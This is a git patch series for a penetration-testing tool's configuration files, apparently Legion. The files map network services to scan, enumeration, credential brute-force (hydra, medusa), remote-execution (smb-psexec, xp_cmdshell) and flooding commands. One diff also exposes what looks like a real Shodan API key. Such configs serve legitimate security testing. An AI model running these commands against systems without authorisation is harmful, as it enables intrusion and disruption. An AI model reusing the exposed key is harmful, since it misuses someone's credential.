+http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" +telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" +wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp +mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, [term] nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], [term] shell +ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, [term] telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp +xterm=Open terminal, [term] bash, + +[SchedulerSettings] +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,88,443,4443,8080,8081,8082" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage4-ports="T:1-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-65535" +stage5-ports="U:1-65535" +stage6-ports="Vulners,CVE" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +pyshodan-api-key=YourKeyGoesHere +texteditor-path=/usr/bin/leafpad diff --git a/legion.conf b/legion.conf index 84706db1..6f4c62b1 100644 --- a/legion.conf +++ b/legion.conf @@ -328,5 +328,5 @@ stage6-ports=T:30000-65535 cutycapt-path=/usr/bin/cutycapt hydra-path=/usr/bin/hydra nmap-path=/sbin/nmap -pyshodan-api-key=SNYEkE0gdwNu9BRURVDjWPXePCquXqht +pyshodan-api-key=YourKeyGoesHere texteditor-path=/usr/bin/leafpad From 19be87a7612393e730ce0fa1e6944a64747761a0 Mon Sep 17 00:00:00 2001 From: Tdeforge <75676514+Tdeforge@users.noreply.github.com> Date: Thu, 26 May 2022 10:25:52 -0500 Subject: [PATCH 425/450] Delete Deep_Dive.conf removing a deprecated file, replaced by small_scope_all_ports.conf --- custom_configs/Deep_Dive.conf | 323 ---------------------------------- 1 file changed, 323 deletions(-) delete mode 100644 custom_configs/Deep_Dive.conf diff --git a/custom_configs/Deep_Dive.conf b/custom_configs/Deep_Dive.conf deleted file mode 100644 index e21db57a..00000000 --- a/custom_configs/Deep_Dive.conf +++ /dev/null @@ -1,323 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" -process-tab-detail=false - -[GeneralSettings] -default-terminal=xterm -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" 